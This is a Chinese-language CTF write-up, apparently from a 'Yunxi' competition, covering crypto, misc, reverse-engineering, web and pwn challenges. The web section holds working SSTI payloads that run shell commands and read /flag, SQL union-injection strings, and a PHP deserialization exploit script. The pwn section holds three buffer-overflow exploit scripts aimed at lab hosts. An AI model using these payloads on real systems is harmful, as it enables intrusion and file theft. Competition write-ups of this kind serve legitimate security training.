密码
rssaa
rsa密码是常见加密,这边使用ai生成的脚本
输入题目值就可以直接获得flag
奇怪的数字
这个密码题目,我们使用随波逐流解密
得到这个flag形式然后根据提示得到这个Yunxi{no_no_no_you_can't_get_it}
misc
today'secret
这个是摩斯密码解密,依旧随波逐流
我们的密文出来了,现在就尝试输入,这边原文不对,改成小写就对了
最喜欢二维码了

使用随波逐流工具添加定位符得到很多,寻找这个大小差不多的使用解码
解码之后我们尝试随波逐流解码
解码成功
师兄的密码
下载附件发现是一张图片,我们就要进行文件提取
发现文件夹里面有一个加密的压缩包,但是解压需要密码
所有我们就实现这个压缩包爆破


键盘成精,我被辅修了
这个是一个文档信息,我们尝试题目,它的含义是说,文字隐藏的信息是太小了吗,这边的话我们选择全选文字然后放大尝试
发现隐藏信息但是题目说这个flag是由三部分构成的,所以的话我们还有一部分,但是这个提示还说了这个涉及0宽度隐写我们依然随波逐流

使用0宽度隐写获得第三段信息拼接之后获得flag
傲娇的师姐
这个打开是一个pcapng网络数据包的类型,我们看题目的提示说是什么东西
这边说到邮箱,并且说这个我们的图片藏着水分,就应该是盲水印,我们先找到图片,首先查询一下,邮箱发送的数据的特征
然后我们在这个wireshark里面过滤
我们寻找可以有这个邮箱信息的数据包
追踪tcp流
发现里面有大量base64编码,所有我们截取这个base64数据给到工具转成图片文件
得到图片,题目说了这个图片有水分那就是盲水印,所以的话使用工具去解密
解密得到flag
无声的诗行
打开发现是一个这个文件的加密,我们使用这个随波逐流工具来打开看看,我们发现这个文件是伪加密的,并且随波逐流已经给我们尝试解开伪加密了
后来打开之后我们发现了这个压缩包里面有一个图片但是这个图片他的话没有内容
又丢给随波逐流查看发现这边文件头被修改过010分析确实不一样,所以我们给他修改回来
修改之后图片就能够打开了
这个是盲文密码
我们找一个盲文对照表
RAM取证
逆向
interested_code

我们丢给IDA程序打开之后我们找到main函数。然后打开发现判断语句,这边有一个这个flag正确还有错误,所以这个就是
往上面进行分析我们发现就是一个比较进行这个我们的这个输入和系统内部的flag进行比较发现就是get_flag函数
发现flag但是还没完,下面我们发现这边有个其他的

相当于把tor的大小写互换所以就是flag就是
Yunxi{TrY_to_uNDerSTand_tHE_CoDE}换成大小写的tor
future_flag
这个是一个时间锁的计算程序,我们发现有个位置已经出现了这个恭喜,那么应该就是出现了
这边发现一个code加密的函数
这边的显示是405020和我们的0x42进行异或
绿色字体就是我们的405020的内容,ai一个脚本进行解密
# 加密数据(从.data段提取)
encrypted_data = bytes([
0x1B, 0x37, 0x2C, 0x3A, 0x2B, 0x39, 0x36, 0x73, 0x2F, 0x71,
0x1D, 0x2F, 0x76, 0x2C, 0x73, 0x32, 0x37, 0x2E, 0x76, 0x36,
0x73, 0x72, 0x2C, 0x1D, 0x2F, 0x76, 0x31, 0x36, 0x71, 0x30,
0x1D, 0x70, 0x72, 0x70, 0x74, 0x3F
])
# 用0x42进行XOR解密
key = 0x42
decrypted = bytes([b ^ key for b in encrypted_data])
print("解密结果:")
print(decrypted)
print("\nASCII形式:")
print(decrypted.decode('ascii', errors='ignore'))

得到flag
bad_base

题目的函数说是变种upx壳变种base64,我们尝试直接脱壳发现脱壳是不行的,所以的话我们使用这个010尝试分析文件

这边出现的ABCDEFGHIJ都是应该是原本的UPX的值

发现二进制位置的30 31 32位置的原本应该是upx的位置被修改了,现在我们手动修复,之后保存,再次脱壳
成功脱壳

之前发现这个是64位程序,所以的话使用64IDA打开
还是首先查看main函数
接下来查看这个用户获得flag的函数还有flag加密函数


我们发现base64解码
首先找到这个base64的表格
这个加密函数找到的时候都是问号,那么我们怎么办现在获得问号后面的数据,我们使用shift加上F12查看
这个就是密文,然后我们使用这个对照表还有这个密文解密,使用一个脚本
就能够获得flag
Portable_Executable
我们发现直接DIE是查不出来的,所以就直接010来看看我们的程序有啥不一样的
这个文件头太奇怪了,一般都是MZ
所以我们直接删除PE留下MZ然后就能够正常使用IDA打开了,这边打开之后我们使用这个shift和F12查看
发现了flag
美人鱼的传说
我们尝试去这个获得压缩包里面的动西,这个逆向题目提示让我们去运行程序,但是我们解压不了里的东西所以就去解压到桌面然后的话我们尝试去加一个exe的后缀,就可以打开了,然后现在去使用这边题目还给了一个这个压缩包,我们看看是啥,
这个是一个反汇编的工具,而且我们使用的这个IDA尝试过了打不开,所以用后面这个试试
首先过来要先解包功能,得到解码之后的东西
我们发现这个的flag.pyc文件 但是直接打开是不行的,我们还要用到刚才工具才行
这边发现这个我们的单文件反编译,不行的话改一下编译器,然后的话我们发现了flag,但是交上去不对,但是题目一直要求我们运行一下程序,我们就运行一下
获得新的flag
WEB
hello_rce

我们尝试一下他的提示当前目录
显示出来flag就已经在当前目录了
print_r(scandir('.'));这个命令的含义是外围的是打印功能print_r 里面的是意思是显示目录里面的内容信息scandir('.')这个括号里面的意思就是说的意思是当前目录那么我们已经知道这个flag的位置,并且flag是目录里面的一个文件的话我们就选择使用文件读取命令就是print_r(file('flag'));(由于这边他的选择是PHP语言,所以的话我们要加上;符号)
得到flag
这个题目还可以用函数paathru

新东西
题目的提示是ssti注入,我们先来一个简单的测试


输出49就证明是模板引擎执行了我们的语句,那么接下来我们就进行ssti的一般途径# 查看所有子类索引
# 查看所有子类索引
{{ [].__class__.__base__.__subclasses__() }}

查询到子类
{{get_flashed_messages.__globals__.__builtins__.__import__('os').popen('ls -la /').read()}}
发现open
{{get_flashed_messages.__globals__.__builtins__.__import__('os').popen('ls -la /').read()}}
查看根目录
发现下面的东西

这里是有flag的,并且是
所以读取就好了
{{get_flashed_messages.__globals__.__builtins__.open('/flag').read()}}

让我看看
我们发现是一个可以显示这个文件位置的这个
我们尝试以下这个index.php他出现的是这个
意思就是说把这个.号过滤了,现在我们不用点号,看看替代他
网页源码查看器
Shadow Archive System
题目的提示是说是二次注入
我们发现这边是先登录,后面可以通过我们的这个登录时候给的id来查看我们的这个登录语句,那么我们就可以在登陆的时候将需要执行的语句改成注入语句
我们把语句给到这个用户名的位置上面去,这边给我们的返回时id为8,所以我们就可以执行查询8的位置
由于刚才我们的这个数据库位置给的是2,所以回显位置就在2,获得了数据库名字叫做ctf接下我们查询表
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --
使用查询表的语句,我们就可以得到一个id是11,接下来使用11来访问就好
发现两个表,肯定优先查看flags这个表
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=database() AND table_name='flags'#
我们得到id为12,直接查看12就好

这边出现了我们的表里面的字段,这边可以提取字段里面的数据
' UNION SELECT 1,concat(flag),3 FROM flags#
这边要注意添加后面的#注释符号
得到flag
你已急哭
这个是php反序列化题目,已经给出原理还有源码,使用脚本
import urllib.parse
import urllib.request
import urllib.error
base_url = "http://172.16.17.201:50057/"
# 正确的路径应该是 /f1ag.php(注意是数字1,不是字母l)
filename = "/f1ag.php"
# 构造 payload
payload = f'O:5:"Entry":1:{{s:7:"handler";O:9:"Processor":2:{{s:8:"callback";O:10:"FileReader":1:{{s:8:"filename";s:{len(filename)}:"{filename}";}}s:8:"argument";s:9:"anything";}}}}'
full_url = base_url + "?data=" + urllib.parse.quote(payload)
print(f"发送请求到: {full_url}\n")
print("=" * 60)
try:
req = urllib.request.Request(full_url)
with urllib.request.urlopen(req, timeout=10) as response:
html = response.read().decode('utf-8', errors='ignore')
print("\n响应内容:")
print(html)
# 检查是否成功获取 flag
if "Flag:" in html:
print("\n[+] 成功获取 flag!")
# 提取 flag
import re
flag_match = re.search(r'Flag:\s*([^\s<]+)', html)
if flag_match:
print(f"Flag: {flag_match.group(1)}")
except Exception as e:
print(f"错误: {e}")
得到flag

pwn
ret2text

这个是一个64位的文件我们使用IDA来打开
主函数的界面和我们的这个web环境的界面是一样的内容
题目的提示是
找个exp
import socket
import struct
# 连接远程服务
host = "172.16.17.201"
port = 50175
# secret 函数地址
secret_addr = 0x4011BE
# 构造 payload
buffer_size = 64
payload = b'A' * buffer_size + b'B' * 8 + struct.pack("<Q", secret_addr)
# 连接并发送
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# 接收欢迎信息
print(s.recv(1024).decode())
# 发送 payload
s.send(payload + b'\n')
# 接收返回结果
while True:
data = s.recv(1024)
if not data:
break
print(data.decode(), end='')
s.close()

获得这个flag
stack
这边发现我们的main函数
和web界面上面的是一样的
发现关键函数,我们想办法去执行它
import socket
import struct
import time
# 后门函数地址 0x401179
target = 0x401179
# 构造payload: 72个填充字节 + 地址(小端序)
payload = b'A' * 72 + struct.pack('<Q', target)
# 连接服务器
host = '172.16.17.201'
port = 50158
print(f"[*] 连接到 {host}:{port}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# 接收欢迎信息
s.settimeout(2)
try:
data = s.recv(1024)
print("[*] 收到欢迎信息:", data.decode())
except:
print("[*] 没有欢迎信息")
# 发送payload
print("[*] 发送payload...")
s.send(payload + b'\n')
# 等待并接收所有数据
time.sleep(1)
print("[*] 接收flag:")
try:
while True:
data = s.recv(1024)
if not data:
break
print(data.decode(), end='')
except socket.timeout:
print("\n[*] 接收超时")
s.close()
The_Alignment_Trap
我们也是使用IDA查看,这边发现后门函数backdoor我们发现里面是
可以执行的语句,我们获得地址,这边可以选择去
执行脚本
import socket
import time
import struct
def p64(addr):
return struct.pack('<Q', addr)
# 常见的ret指令地址(在程序中的.text段)
ret_addresses = [
0x40101a, # 常见的_start附近的ret
0x401016, # 另一个常见位置
0x40101e,
0x401176, # vuln函数结尾的ret
0x401166, # backdoor函数本身的ret
]
host = '172.16.17.201'
port = 50160
for ret_addr in ret_addresses:
print(f"\n[*] Trying ret address: 0x{ret_addr:x}")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# 接收欢迎信息
s.recv(1024)
# payload: 40字节填充 + ret地址 + backdoor地址
backdoor = 0x401166
payload = b'A' * 40 + p64(ret_addr) + p64(backdoor)
print(f"[*] Sending payload ({len(payload)} bytes)")
s.send(payload + b'\n')
time.sleep(1)
# 接收响应
response = b''
while True:
try:
s.settimeout(1)
chunk = s.recv(1024)
if not chunk:
break
response += chunk
except:
break
# 检查结果
if b'Yunxi' in response or b'flag' in response:
print("[+] SUCCESS!")
print(response.decode('utf-8', errors='ignore'))
break
else:
print("[-] Failed")
s.close()
except Exception as e:
print(f"[-] Error: {e}")
print("\n[*] Done")

获得flag